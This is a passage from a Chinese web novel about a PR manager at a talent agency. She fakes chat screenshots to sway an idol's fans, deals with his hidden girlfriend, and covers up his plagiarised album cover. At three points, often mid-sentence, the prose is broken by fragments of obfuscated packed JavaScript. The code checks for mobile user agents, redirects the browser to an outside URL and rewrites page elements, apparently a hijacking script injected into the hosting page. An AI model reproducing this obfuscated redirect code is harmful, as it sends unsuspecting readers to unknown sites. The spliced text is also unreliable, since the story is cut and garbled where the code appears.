《有效公关[娱乐圈]》 2. 神秘女友 向宁用两个手机分别打开微信,毫不费力就造出了一段“业内人士”的聊天记录。 截一张图在微信里发过去,又下载过来,如此这般倒几手,画面清晰度便降低了不少,看起来更“真实”了。 再登录娱乐论坛的“中立瓜主”账号,配上这张截图,发一条仅粉丝可见,且语焉不详的推文—— “抱着想看热闹的心态跟业内朋友打听了一圈,现在只想感叹艺人有一个好团队是多么重要,像况星宸这种总被自己人坑的也真是有够倒霉的。不知道他的团队是什么脑回路,居然能想出这么low的炒作方式。可惜这种小idol在团队里往往没什么话语权,粉丝也只能跟着伤心了。” 点击发送。 短短几分钟,况星宸粉圈的风向就再度改变,开始指控团队对艺人有内部恨,故意用争议极大的炒作方式扰乱粉圈。 也不知这故事是怎么演化的,传着传着,最新版本就变成了“况星宸团队想用假恋情炒作新MV,况星宸怕粉丝伤心,据理力争,甚至绝食抗议。工作室为达目的,竟私自扣下况星宸的手机,深夜发图,混淆视听。” 很快,就连原本在骂况星宸的大粉也动摇了立场,开始在好友圈大骂星桥娱乐拖后腿,防爆况星宸。 算着时间差不多了,向宁重新登上瓜主账号,删掉了那条“爆料”,并再次发博:[微笑]上一条微博被相关人员举报,不得不删掉了。抱歉,毕竟都是一个圈子的,我还得混口饭吃。 此文一出,况星宸粉丝对团队的骂声就更大了。 向宁见状,满意地放下手机。 骂吧,骂吧。 只要昨晚那张情侣合照被粉丝认定为团队的恶意炒作,她的任务就算完美完成了。粉丝越恨工作室,就会越溺爱“孤立无援”的况星宸,那么下一张专辑也就不愁卖了。 这边一套流程走完,人事部那边也发来消息—— 「向宁姐。」 这是公司大多数同事对她的常用称呼。即便在事实上,其中许多人比她还年长几岁。 「您的助理已经办好入职手续了,我们现在就把人带过去。」 组长的职级并不算高,一般不会配备助理。向宁之所以能破例,其实是乔煦晗给她的特权。 这位小助理名叫麦秋,是个还在读大四的学生,刚刚结束校招,就提前进公司实习了。 麦秋人如其名,浅小麦色皮肤,棕褐卷发编成一股麻花辫,从头顶高高垂下来,跑动时像一束生机勃勃的麦穗。 她们在面试那天深聊了许久,这次再见向宁时,麦秋并不拘束,只是心里有点紧张。刚进职场,正常的。 她的工位也在向宁的办公室里,两张桌子挨得很近,摆成了一个直角。 “入职快乐。”向宁把一个巴掌大的香水盒子放在麦秋面前,斜靠着办公桌笑道,“你今天可算来着了,赶巧。” “谢谢向宁姐,这是入职礼盒吗?”麦秋粗略扫了一眼,不敢置信道,“咱们公司这么大方啊?” 手中的小盒子散发着若有似无的葡萄香气,麦秋认得包装盒上的品牌logo,虽然不知道这款香水具体价值几何,但一定超过了她现有的消费能力。 向宁坐回自己桌前,语气平淡道:“公司是永远不可能大方的。这是我送你的礼物,人情可不许算到资本家头上喔。” 麦秋一听这话,难免又紧张起来,推辞道:“向宁姐,这礼物太贵了,我不能——” “别有心理负担,反正也不是我自掏腰包买的。”向宁没有看她,盯着电脑屏幕漫不经心道,“品牌方送给艺人的。” 至于为什么会流转到她手上,她又为什么不愿留下自用,向宁没有继续解释下去。 这天下午,况星宸在向宁的要求下来到了公司,由经纪人刘哥陪着,一起参加昨晚手滑事件的后续公关方案研讨会。 麦秋坐在向宁近旁,怀着既期待又紧张的心情,开启了她职业生涯的第一个工作项——会议记录。 “还开什么会啊,事情不都解决了吗?”况星宸放松地躺在按摩椅上,翘着二郎腿打了个哈欠,后半句话说得含混不清,听不出是假意还是真情,“小宁,厉害厉害。” 他总是这样,有事求人的时候一口一个“姐”,没事时就换成“小宁”了。 “恋情的事情是糊弄过去了,可是所谓的‘新歌MV’还没有着落,你就没什么打算吗?” 向宁按下调整椅背的按钮,话音落时,况星宸已经被迫坐直了身子。 为了掩饰尴尬,他干咳两声才开口道:“有啊,公司不是有枪手定期给我写歌吗?下一首让他写情歌,再找个外形差不多的女群演,把那张照片的场景拍到MV里不就结了?” “如果担心现在写来不及的话,我们这里也有以前的废案。”经纪人刘哥给向宁发去一份文档,“我筛了一些能用的,你看看用哪一首比较好开展后面的营销?” 向宁点开文档快速浏览了一遍歌词,总体写得不错,只是有一个问题—— “别忘了,况星宸立的是唱作歌手人设,粉丝可不知道他的所有歌都是枪手写的。这些废案全是甜得发齁的情歌,而且歌词言之有物,一看就知道作词者是陷入热恋的人。如果把这种歌发出去,和自曝恋情有什么区别?” “至于吗?”况星宸抖着腿,一副吊儿郎当的样子,“歌词甜就等于谈恋爱啦?这不是莫须有吗?” 向宁早就习惯了他这幅做派,权当没看见。 “好,就算你的粉丝自带滤镜,什么都看不出来。可是我问你,这种歌词是不是得搭配同样甜到齁的MV?你是不是得和女搭档拍暧昧的镜头?就算粉丝对歌词不敏感,但MV给她们的是视觉冲击。平时你在红毯上挽个不熟的女明星走一段路,粉丝尚且要死要活的,如果看到这种MV,她们不是更要吃醋了?” 经纪人刘哥也劝说道:“是啊,粉丝要是不开心,谁给你的新歌打榜冲销量啊?” 听到销量,况星宸终于觉得对方阵营的观点有点道理了,于是搓着手装出一副用心思考的样子问道:“那……应该怎么办呢?” “改词。”向宁的语气斩钉截铁,“就用这首以校园恋情为主题的歌。你是在国外上的中学,如果用本土校园元素拍MV,粉丝潜意识里不会认为这是你真实的恋爱经历,只会把它当做你的艺术创作。” “具体要怎么改?”刘哥拿出手机,“我现在就跟枪手沟通。” “分三段。前半段保留甜蜜的风格,但是要把词改得空洞一些,减少细节;中段要突出悲伤的情绪,写成被甩了或者爱而不得都行;后半段以‘释然’为主题,营造一种云淡风轻的氛围。至于遣词造句嘛……越俗越好。” “凭啥要俗啊?”况星宸有不同意见,“我可不想要什么、什么……下沉……的市场!” 向宁没好气道:“你要不要自己读一读这篇歌词?它里面蕴含的这些隐喻和典故,你能理解多少?或者说,你听说过多少?如果你打算放弃唱作歌手的人设,老老实实给人家原作者署名,你想唱再怎么高雅的词我都没意见。” 况星宸正欲反驳,他的手机就响起了铃。 “等会等会!”况星宸倏地从椅子上弹起来,脸上挂起了甜蜜的笑容,“我女朋友的电话,我出去接一下哈!” 刘哥拦不住他,向宁没打算拦他,麦秋则深吸一口气,确信自己这辈子都不会再追星了。 “你知道他谈恋爱吗?”向宁心平气和地询问刘哥,“在他发那条微博之前。” “知道。”刘哥皱着眉,一脸无奈。 “谈了几个?” “反正……现在就这一个。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458882|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “收心了?”向宁才不相信。 “但愿吧。”刘哥重重叹了一口气。 “你知道那女孩是谁吗?”向宁眉头紧锁,她必须尽快搞清楚这个问题。 刘哥迟疑了一瞬才回答:“不知道。”可是满脸都写着“我在撒谎”。 向宁也不逼问,默默从抽屉里拿出一张存储卡连到电脑上,招招手让刘哥自己绕过来看。 “这、这些是……” 十几张照片的时间线横跨数月,拍的全都是况星宸和年轻美女约会时的画面,但许多照片上的女主角都不一样——两个明星、两个素人,四个网红,时间线甚至互有重叠。 照片上,况星宸和美女们举止亲密,说是情侣互动也不为过。乍看很像狗仔视角,但每张照片的清晰度都很高,个别照片甚至能达到站姐出图的质量。 向宁见刘哥已经慌了神,不由在心里微笑起来,低声问:“他有这么多女朋友,你都知道吗?” 这样严重的公关危机,刘哥作为况星宸的经纪人,不论他是知道了却不向公司汇报,还是压根对此一无所知,都是失职。公司如果要追责,他就得好好喝一壶了。 向宁继续给刘哥施压:“我明明早就交代过你们——况星宸想谈恋爱,可以。但是不管他谈了几个,分了几个,暧昧了几个,追求了几个,都得老老实实跟我报备。只有这样我才能做好预案,否则一旦恋情曝光酿成丑闻,势必打我们一个措手不及!” 她原以为况星宸吃了许多亏之后已经开始长脑子了,却没想到他硕果仅存的那么点脑细胞全用来糊弄自己人了。 刘哥也清楚这一层利害关系,并不敢正面回答,只问道:“这些照片是从哪来的?” 麦秋听到这里不由有些心虚,放在键盘上的手指抖了抖,悄悄朝向宁看去,可惜看不到她的目光,更猜不到她的想法。 “当然是从狗仔手里花高价买回来的啊。”向宁不愿暴露自己的信息源,撒谎撒得理直气壮,“至于况星宸这些情况要不要上报公司……” “你直接开条件吧。”刘哥打断她的话,憋着一股气坐回了对面的椅子上。 向宁垂眸笑了笑,又抬眼道:“别这么抵触嘛,其实公关部和你们经纪部从本质上讲还是合作关系啊。你回答我的问题,我把存储卡给你,两全其美咯。如果给公司打小报告,我又没什么好处。” 刘哥琢磨了一会,觉得是这个理,虽然答应过况星宸不能把这事告诉向宁,可是眼下火烧眉毛,他总不能为了这小子犯的错把自己赔进去吧? “先说好,我要是告诉了你,你可不能在况星宸面前把我卖了!” “当然,这是最基本的规则。” 刘哥抿了抿嘴,放低声音道:“他现在的女朋友是呈业集团董事长的独生女,祝璋。” 向宁没听过这个名字,便打算给麦秋布置个新任务。 没想到麦秋很是伶俐,还不等她开口,就飞速搜到了关键信息,主动发给了向宁。 简言之,呈业集团虽然是靠投机发的家,但是近年也把实业做得风生水起,在不少领域都抢占了可观的市场份额。祝璋虽然年轻,却已在业内崭露头角,风评颇佳,似乎是集团内部公认的未来接班人。 向宁嗤笑一声,心道:怪不得况星宸现在越来越张狂,原来已经打上了赘入豪门的算盘。 刘哥见向宁冷笑起来,顿时更加坐立不安,直到从她手中接过存储卡才放下了半颗心,又问:“你那没留备份吧?” 向宁仿佛被这个问题冒犯到了,皱着眉用轻蔑的语气回道:“我留这些东西干嘛,白占内存吗?” 刘哥怕她生气,忙道:“我不是那个意思……” 向宁冷哼一声,翘起二郎腿往椅背上靠去,眼神在一个带锁的抽屉上轻落一下,随即不着痕迹地移开了。 3. 抄袭事件 三人等待许久,况星宸终于打完电话回来了,一开口就藏不住好心情:“我女朋友觉得你给的方案可行,就这么办吧。” 向宁和刘哥对视一眼,达成了无言的共识:看来这位大小姐的一句话,比咱们俩加起来磨破嘴皮子还有效呢。 况星宸最不耐烦开会,方案一敲定就急着去赶饭局了,临走前还习惯性撩了麦秋一把:“新来的?挺漂亮嘛。” 麦秋低垂着脑袋,看着很是局促,低低应了一声。 向宁迈步护在她身前,对况星宸冷脸道:“我们约法三章过的。” 况星宸噗地笑了一声,抱臂道:“我又不会对她做什么,只是想给咱们团队的新成员送个见面礼而已。” 他口中的见面礼,就是一张他自己的签名照。 等他带着经纪人离开向宁的办公室,麦秋才长出一口气。 “呼——好悬没憋死我。”麦秋把签名照随手扔进垃圾桶里,“真晦气。” “我要是你,我就不扔。”向宁提出了中肯的建议,“况星宸的亲签,按交易超话最近的市场价算,能卖好几百块呢。” 麦秋苦笑着摇摇头:“我这张肯定卖不出去的,是to签。” 向宁探头向垃圾桶里投去一瞥,况星宸的帅照上果然写着:To麦秋,lovingu! 然而“麦”字的下半部分被况星宸错写成了“攵”。 “我真服了!”向宁哭笑不得,“总共就俩汉字,他还能写错一个。” 麦秋也无语地笑了笑,片刻后又收起笑容:“向宁姐,你刚才为什么不劝他分手呀?” 向宁满眼疑惑:“为什么要劝?” 麦秋微微一怔,继而带着一股浩然正气道:“因为idol不能谈恋爱啊!” 向宁撑起下巴想了想:“有两点原因吧……” 麦秋两腿一蹬,坐着转椅滑到了她身边:“想听!” “第一,如何保证艺人不犯错,这是经纪人应该操心的事。如何化解艺人身上的争议,并将它们转化成热度,这才是咱们应该考虑的事。换句话说,只有艺人多犯错,公司才能意识到咱们存在的重要价值,如果他们都变成乖宝宝,公关部就该集体失业了。” 麦秋恍然大悟,却惊讶得一时不知该说些什么,直到被向宁轻轻拍了拍脑袋,才含着期待问道:“第二点原因呢?” 这次向宁不再长篇大论,只用一句话就堵死了追问的空间—— “良言难劝该死的鬼。” …… 枪手的工作效率很高。作词、作曲、demo、正式录制,一套流程走下来,况星宸的新歌很快就正式发行了。 MV同步发出后,公司花钱帮况星宸在热搜上挂了一整天,然而并没有在大众的视野中激起什么水花。 粉圈内部倒是兴奋了许久,又帮他刷起了原创音乐人的词条,似乎都坚定地认为,这是他的又一份破圈之作。 至于不久前,况星宸半夜自爆情侣合照的事件,看起来已经彻底被大家抛诸脑后了,蛮好。 万圣节前夜,况星宸的演唱会暨新歌首唱会就要开始了。 赶上这种大型公开活动,向宁作为公关人员自然需要守在后台,麦秋作为她的助理也得陪同前往。 外勤用车由公司统一安排。向宁素来不习惯坐外人开的车,于是给司机放了假。 “有驾照吗?”她问麦秋。 “没有,但可以学。”麦秋眼神坚定,背诵着面试必备话术。 “那你慢慢学吧,”向宁打开驾驶座旁的车门,歪头笑了笑,“上车,我给你当一回司机。” 坐上领导开的车,麦秋只觉得手脚放在哪里都不太自然。向宁虽然只大她两岁,平时也不摆什么架子,可毕竟还是她的顶头上司,天然带着一重压力呢。 沉默半晌,麦秋决定给自己找点活干,在微博广场和娱乐论坛上巡视几圈,否则她实在不能安心。 向宁打开车载音响,搜了个最常听的歌单来放,间或跟着哼唱两声,倒是优哉游哉。 演唱会还有三个小时才开始,扣除花在路上的时间,她们至少也能提前两个小时到场。 然而向宁似乎忘了,和况星宸团队合作的第一条铁律就是——计划赶不上变化快。 第一首歌还没播完,麦秋的神色就不对了,语气也焦急起来:“向宁姐,出事了。网友刚刚扒出来,况星宸新专辑的封面有抄袭实锤。稍等我看看……现在已经有营销号搬运帖子了,虽然转赞评暂时不多,但热度涨得很快,相关词条也有上升趋势了。” 向宁目不斜视:“别慌,如果闹大了,甩锅外包团队就行。这是圈内处理抄袭争议的常规模板,缺德,但有效。” 一会让化妆师把况星宸的眼角涂红,再由他有感情地背诵几句致歉台词,表示愿意以个人名义对原作者进行赔偿,粉丝保准得一边心疼一边夸他有担当。 毕竟大部分同行在处理抄袭争议时,都只知道动动嘴皮子,却连一分钱赔偿都不舍得出,铁公鸡看了都甘拜下风。 “这次估计不行。”麦秋飞速搜索着况星宸演唱会的关键词,“他今天中午接受了好几家娱记采访,被问到新专辑的创作灵感时,还专门强调了这张封面是他亲自设计的,融入了他不少的灵感和心血……” 麦秋说完立即点开对应的采访视频,把音量放到最大。向宁从头到尾听了一遍,不由腹诽那蠢货讲话不过脑子,光顾着给自己立艺术家人设,搞得她们公关团队现在十分被动。 “向宁姐,我记得咱们给的采访稿里没有这个问题啊?” 按照惯例,向宁的合作艺人接受采访时,务必按照她提前写好的稿子回答问题。如果记者问了超纲题目,艺人也必须顾左右而言他,最后把话题扯回稿子上来。 “回头再跟他算账。” 向宁临时改变路线,把车开进了附近一家商场的停车场里,麦秋也抓紧时间查到了被抄袭的原作信息。 “他剽窃的是这幅画,《回忆余烬》。”麦秋一连把几条带备注的链接发给向宁,“那位画家在圈内有一定知名度,但是大众认知度不太高,在各个社交平台也没有认证账号。” 向宁点开第一条链接看了看图片,好吧,确实没有半分辩驳的余地——原作的画面主体是一张红底证件照,相片上的女孩穿着中学校服,看不清脸,因为相纸上留下了灼烧的痕迹。灰烬洒落,混着点点火星,仿佛再有一阵风吹过,那幅画就会被烧干净似的。 况星宸的专辑封面简直就是原作的低配翻版。 再点开第二条链接,是画家本人的网络百科信息页——没有照片,没有个人履历,没有作品介绍,寥寥数语几乎毫无信息量,连性别和年龄都没有提及。 “沈安?”向宁上下滑动着屏幕,无意识读出了画家的名字。 “不,”麦秋放大了文字区域给她看,“是枕安,枕头的枕。” “艺名吗?”这个姓氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458883|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还挺少见的。 “不太确定,我再搜搜。” 二人分工明确,麦秋去查枕安的个人资料和社会关系,向宁则直接联系了况星宸本人。 “这事不能怪我啊!”况星宸最擅长推卸责任,“这歌又不是今天才发出来!之前根本没人锤我,而且网上完全搜不到那幅画的图片。今天我要开演唱会了,那幅画的高清大图就突然冒出来了,明显是有人故意搞我啊!” “你自己要是行得正坐得直,还怕别人有心搞你么?”向宁没好气道,“从现在开始,你和刘哥必须拒绝一切记者采访,老老实实等我的下一个电话。” 况星宸却吞吞吐吐许久,不敢答应她的要求:“娱记的采访能拒,官媒总不能拒吧……” “什么时候有官媒采访过你?别做梦了,大哥。” 况星宸对她的态度很是不忿:“以前确实没有,所以才有一帮阿猫阿狗黑我不受主流认可啊!哼,今天晚上,我就要让那帮人——也包括你,向宁,好好看看我究竟受不受主流认可!” “没有提前对过稿,你就私自接了官媒的采访邀约是吗?” 行,又给她出了个难题。 “谁帮你对接的?张洋?” 向宁想来想去,觉得整个公关部也只有他乐于给自己添堵。 “嘁,他哪有这个本事!”况星宸轻蔑一笑,得意洋洋道,“是我女朋友帮我拉的资源,文艺频道正儿八经带宣发的视频专访!要我说,她一个人带给我的助益,比你们整个团队都多!” 向宁见惯了骤然得志的小人,并没打算跟他讲道理,只平静问道:“如果今晚接受采访时被问到专辑封面抄袭的争议,你打算怎么回答?别觉得记者顾着你女朋友的面子就什么都不敢问,人家肯来采访你,就已经是一份人情了。” 况星宸语塞片刻后,不以为意道:“又不是什么大事……” 向宁并不打算与夏虫语冰,这种时候还是老办法好使——缓和态度,假装和况星宸同心同德,然后用切身利益说服他。 “嗯……也行。的确不是什么大事,在你的粉丝眼里甚至算不上嘲点。就算有那么一两个黑词条在热搜上挂几天,也是免费的热度嘛。” “等等等等!”况星宸听她有了妥协的意思,心里反而不踏实起来,“抄了张封面而已,黑热搜不至于一挂好几天吧?其他有抄袭争议的明星装死的装死,嘴硬的嘴硬,不也靠粉丝洗一洗就过去了嘛……” 向宁无声一笑,慢悠悠地问:“其他人的抄袭事件,也是第一次接受官媒采访时爆出来的吗?” 这个问题仿佛往况星宸的脑袋上砸了一锤,把他为数不多的库存智商砸出来了。 是啊,同样的黑料,营销号发一发无所谓,娱记骂一骂也不难捱,可要是让官媒一五一十发出来,那分量就不一样了。 遭网友调侃几句、被做成鬼畜视频都是小事,万一被定性为反面典型,就很难收场了。 “那怎么办啊?约好了晚上七点整接受采访的,还能取消吗?我装病行吗?”况星宸的声音开始抖了。 “七点生病,七点半演唱会开场时病就好了是吗?”向宁看一眼表,离采访开始还有两个小时,“还有时间,别乱来,等我消息。” 这边结束通话时,包里的另一个手机已经积了好几通未接来电。安静片刻,又响起了铃声,都是同一个人打来的。 向宁的前男友——电视台社会新闻组的调查记者,陶温。 4. 一号前男友 陶温,他找我干嘛?向宁不由腹诽。 小半年前,她跟陶温提了分手,对方也没多纠缠。 从那以后,这对昔日爱侣便默契地在朋友圈里做起了点赞之交,表面上关系不咸不淡,不好不坏,实则心里都跟彼此赌着一股气。 这股气的症结并不在于感情,而是二人在工作方面难以调和的理念差异。 向宁从未尝试说服陶温,因为她知道他是对的,只是不愿被他“招安”。 陶温从未放弃说服向宁,因为他想不通——她明明辨得清是非,为什么还要固执地坚守错误立场。 此时此刻,向宁猜不出他突然找自己做什么,怀着疑问接起电话,没想到对方一开口就约她今晚一起吃饭。 “我没有跟前男友一起吃饭的爱好,没别的事我先挂了。”更何况现在还有急事要处理,她才没工夫跟他谈人生、聊理想。 “对我这么没耐心啊?”陶温意味深长地笑了笑,“我要是没记错,你应该是况星宸工作室的‘特约常驻客座嘉宾’吧?” “有话直说。” “今晚七点,我负责采访他。” 向宁愣了愣,确认他不是在开玩笑后才问:“你不是在社会新闻组吗?现在怎么还兼起娱记的差事了?” “内部转岗,我现在改投文艺频道门下了。”陶温的语气不咸不淡,“怎么样,现在有兴趣聊聊了吗?” “对稿,有兴趣。吃饭,没兴趣。”向宁的语气也不冷不热。 “一点旧情都不讲啊?”陶温长叹一声,“既然这样,那我也不寒暄了。向宁小姐,对于况星宸被爆专辑封面抄袭一事,请问贵团队如何回应?” 向宁并不接招,熟练地换上公事公办的语气:“关于这个误会,况星宸先生会在今晚的采访中为您提供独家消息,并在稍后的演唱会上作出公开解释。” “误会?”陶温沉默片刻,哼出一声冷笑,“看来,你们已经有公关方案了?” “况星宸先生不会辜负粉丝们的信任。”虽然向宁此刻毫无头绪,但是气势绝不能输,“记者先生,拭目以待咯。” 陶温不再嬉皮笑脸,难得严肃起来,一如二人分手那天:“有劲吗?每天想方设法撒谎蒙事,为那些你自己打心底里瞧不上的人洗白贴金,你究竟图什么呢?” 还能图什么? “图钱,图舒坦日子呗,我不是早就告诉过你吗?” 听到她这般回答,陶温的质疑和追问紧随其后,向宁把手机拿远了些,不耐烦地重重呼出一口气。 她懒得跟他自证所谓苦衷与底线,更不明白都分手八百年了,他怎么还在纠结彼此的价值观差异,还不放弃居高临下地引导她回归正途。 “知道您是一心向阳,追求正义和真相的热血青年,本人由衷敬佩。对于您的循循善诱,本人在此再次诚挚感谢,奈何……”向宁仔细回想,书上是怎么说的来着,“我蛮夷也,不顺圣训,不慕王化,不堪造就。” 陶温深吸一口气:“你非要跟我这样阴阳怪气吗?” “我是没有道德的坏人,你早知道的。” 不给他留出反驳的机会,向宁立马挂断电话。 麦秋脸上挂着吃到大瓜的表情,却没有深挖上司的八卦,转而问起:“向宁姐,你最后那几句话不是相当于默认了在帮况星宸撒谎洗白吗?万一那个记者开了通话录音,发到网上……” “不用万一,他肯定开着录音。对于记者来说,这是个好习惯。”向宁顿了顿,语气变得平和,“但他不是三流娱记,更不是狗仔,犯不着拿我的气话做筏子,用那种上不得台面的手段博眼球。” 向宁虽然当着面不愿给陶温好脸色,但是背着人的时候,她也愿意承认他其实是个好记者。所谓内部转岗,多半是前段时间他报道社会新闻时得罪了不该得罪的人,被“自愿流放”了,否则也不至于沦落到来给况星宸做专访。 见麦秋还是不放心,向宁只得再解释道:“就算他把录音发到网上也没有意义,难道我的声带上烙着况星宸工作室的防伪标志吗?” 语毕,向宁用三倍速重播起了况星宸的采访视频:“比起担心这些,还是抓紧时间想想下一步该怎么走吧。” 视频里,况星宸妆容精致,神采飞扬,带着自信的笑容开口:“告诉大家一个小秘密,这张专辑封面是我亲自设计的哦~其中融入了多少灵感和心血,只有我自己知道。希望大家能通过它,读懂我的心。” 向宁在“亲自设计”一句按下暂停键,思索几秒,不难找到破局思路。 “尽快联系到枕安本人吧。” “有方案了?” “嗯,得想办法说服他配合我们玩个文字游戏。” 经济赔偿也好,资源置换也罢,总之得速战速决,双方统一口径,把这次抄袭风波遮掩过去。 …… 飞速浏览完麦秋整理的有效信息后,向宁不由感叹:况星宸造的孽可真是花样百出啊,也不知道他这次为什么会剽窃到这么小众的画家头上,抄的还是一副少有公开展出记录的作品。 记录……对!展出记录! “帮我查一查这个‘无章美术馆’,枕安的作品只在那里展出过。” 每当想到可行思路,向宁的语速就会变得飞快。 “最好能查到主理人或者策展人的联系方式,电话、社交账号或者邮箱都行。” 给麦秋布置完任务,向宁自己也没闲着,简单跟乔煦晗讲清情况后,跟财务同事拉了个小群,果断敲定了这次危机公关的花销预算。 三人结束通话后没多久,乔煦晗又给向宁补发了一条信息:「谈判时记得尽量压价,还没到年底呢,况星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458884|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宸的公关支出就严重超标了。」 向宁却不情不愿,回道:「反正超支部分也是从他的分红里扣,别老想着替他省钱嘛!」 聊天界面在她连发三条的恶魔emoji上停了几分钟,乔煦晗的回复姗姗来迟:「忘了你烦他了,fine……」 几乎与此同时,麦秋也查到了关键线索。 “无章美术馆没有公开过相关人员的联系方式,资讯网站上只有一些基本信息,而且写得不是很详……” 说到这里,她忽然顿了顿,紧皱的眉头也放松不少:“等等,这点信息对咱们来说完全够用了!” 点进无章美术馆的资讯页签,法人、大股东、董事长的标签都挤在同一个名字下面—— 祝璋。 向宁记得这个名字,她是呈业集团董事长的独生女,也是况星宸的……女朋友? 怪不得况星宸一出手就抄到了小众画家头上,怕不是他哪次和女朋友约会,逛展时看到了枕安的作品,觉得人家大众认知度不高,抄了也不会被发现,所以才敢这么肆无忌惮吧。 看来,这张窗户纸必须得捅破了。 这一次,况星宸几乎立刻就接起了她的电话。 他还以为事情已经解决了,向宁多半是来报喜的,没想到她冷不丁提起了祝璋的名字。 “谁?我不认识啊。”况星宸矢口否认。 “别装,我知道她就是你女朋友。”为了不出卖刘哥,向宁又随口扯了个谎,“狗仔拍到你们约会了,没爆。我用其他艺人的料做置换,暂时压住了。” “就、就算是吧!你要她的联系方式干嘛?”况星宸起初显得有些心虚,紧接着又硬气起来,“向宁,我警告你。你要找麻烦就冲我来,别去为难她!” 乍一听还挺有担当的,看来他上一部古偶剧的台词没白背。 “你我都清楚祝璋是什么身价什么地位,我有几条命啊?敢去为难她?”亏得他们现在是在打电话,要是当着况星宸的面,向宁非得狠狠剜他一眼。 “那你找她干什么?”况星宸的语气仍然冷硬。 “当然是请大小姐出手相助,雪中送炭,美救英雄了。”向宁敷衍道。 况星宸没听出她在讽刺自己,只觉得女朋友受人敬重,他也与有荣焉。 然而向宁好说歹说,他却始终不愿提供祝璋的联系方式:“人家是什么身份,那么大一个豪门的唯一继承人,相当于皇太子好不好!怎么可能随便接闲杂人等的电话?你要找她帮什么忙,我直接跟她说一句不就完了。” 向宁在心里无语冷笑:人家是太子,你况星宸又是个什么东西?连个面首的名分都没混上呢,就摆起驸马的谱了。 “也行,那就麻烦祝女士提供一下枕安的联系方式吧。” “谁?” “画家枕安。” 5. 画家枕安 “画家枕安。” 每个字都是重音。 “你抄了人家的画,至少也该记得人家的名字吧?”向宁没好气道。 况星宸正要回怼两句,想了想,又把气憋回了肚子里。眼下时间宝贵,不是起内讧的时候。事关自己的名誉,他可上心得很。 几分钟后,况星宸给向宁发来了一串电话号码和几条语音。 “这就是枕安的电话,你快点协商吧,还有不到两小时就要采访了。” “还有,我女朋友特地交代了,那人脾气怪,从来不跟陌生人通电话的,只接受短信交流。” “那个……我女朋友还说,因为那幅《回忆余烬》是枕安最看重的作品,没有之一,所以就算她作为合作伙伴,也不好跟他开口求情。咳,你说这事也是够寸的。反正……反正你就让他消消气吧!” 听完语音消息,麦秋满面愁容道:“连祝璋都不好说什么,咱们能行吗?” “咱们?”向宁玩味地咂摸着这个词,手上噼里啪啦地打着字,“你还没出新手村呢,就别急着进副本了,在后方打打辅助就行。” “Yes,madam!”麦秋作敬礼状。 话音落时,向宁的第一条短信已经发了出去:「枕安老师您好,这边是祝璋女士的朋友,想跟您聊聊商业合作相关事宜,请问现在方便详谈吗?预计会占用您20分钟左右的时间。」 没等多久,对面就回复了这条信息。 「嗯。」 惜字如金,倒是没把句号落下。 第一关过得还算顺利,接下来要考虑的就是要怎么谈了。 既然祝璋说枕安从来不跟陌生人通电话,这条路肯定行不通。 短信交流?效率太低,万一聊到一半对方不回复了,她岂不是无计可施?更何况聊这种合作,最好避免留下谈判过程的文字证据。 看来还是得面谈,只是不知道枕安会不会同意,毕竟这种突袭式约见实在不太礼貌。 抱着死马当活马医的想法,向宁回复道:「正好快到饭点了,您选家餐厅吧,我请客~」 对面依然几乎秒回。 「不想出门。」 还好,至少不是不想见人。 向宁面无表情地打着字,文字语气却十分俏皮,和她素日的御姐形象极为割裂:好呢~那我去找您吧,方便发个地址吗~ 这次对面并未立即回复,隔了好几分钟才有动静。 「我还不知道你是谁。」 这个问题确实无法回避,可是具体该怎么回答,还得好好斟酌一番。 说是祝璋的朋友?不太稳妥,毕竟一开始就提过这一茬了。枕安已经顾着祝璋的面子答应了谈合作,现在问的就是向宁所代表的合作方究竟是谁。 在这个问题上绝对不能撒谎,否则即便成功站到对方面前,也聊不了几句就得露馅。 直接说是况星宸团队的公关人员肯定不行,属于自找闭门羹吃。 那……如果报出公司的名字呢?只要枕安对娱乐圈不太熟悉,应该就不会把星桥娱乐和况星宸联系起来吧? 反正也没别的办法,就这么试试吧。 向宁定了定神,沉住气回复道:「嗯嗯,这边是星桥娱乐的PR,叫我向宁就行~」 对面恢复了秒回的速度,旋即甩来四个字。 「有证件吗?」 “啊?”麦秋不解,“这意思是……要看你的身份证还是工作证啊?” “能证明我是星桥的人就行吧。” 向宁从包里摸出工卡来,先拍张了照,又在上面打满密密麻麻的半透明时间水印,这才发给枕安。 麦秋第一次看到她工卡上的证件照,好奇地问:“向宁姐,这是你什么时候的照片呀?” “刚进公司实习的时候拍的,这几年一直没换。”向宁漫不经心地回答着,“怎么,和现在差别很大吗?” “喔,怪不得。”麦秋小声笑笑,“眉眼变化不大,就是照片看着有学生气。” “是哦,”向宁忽然意识到了什么,“枕安不会误会咱们公司派了个初出茅庐的实习生来跟他谈合作吧!” 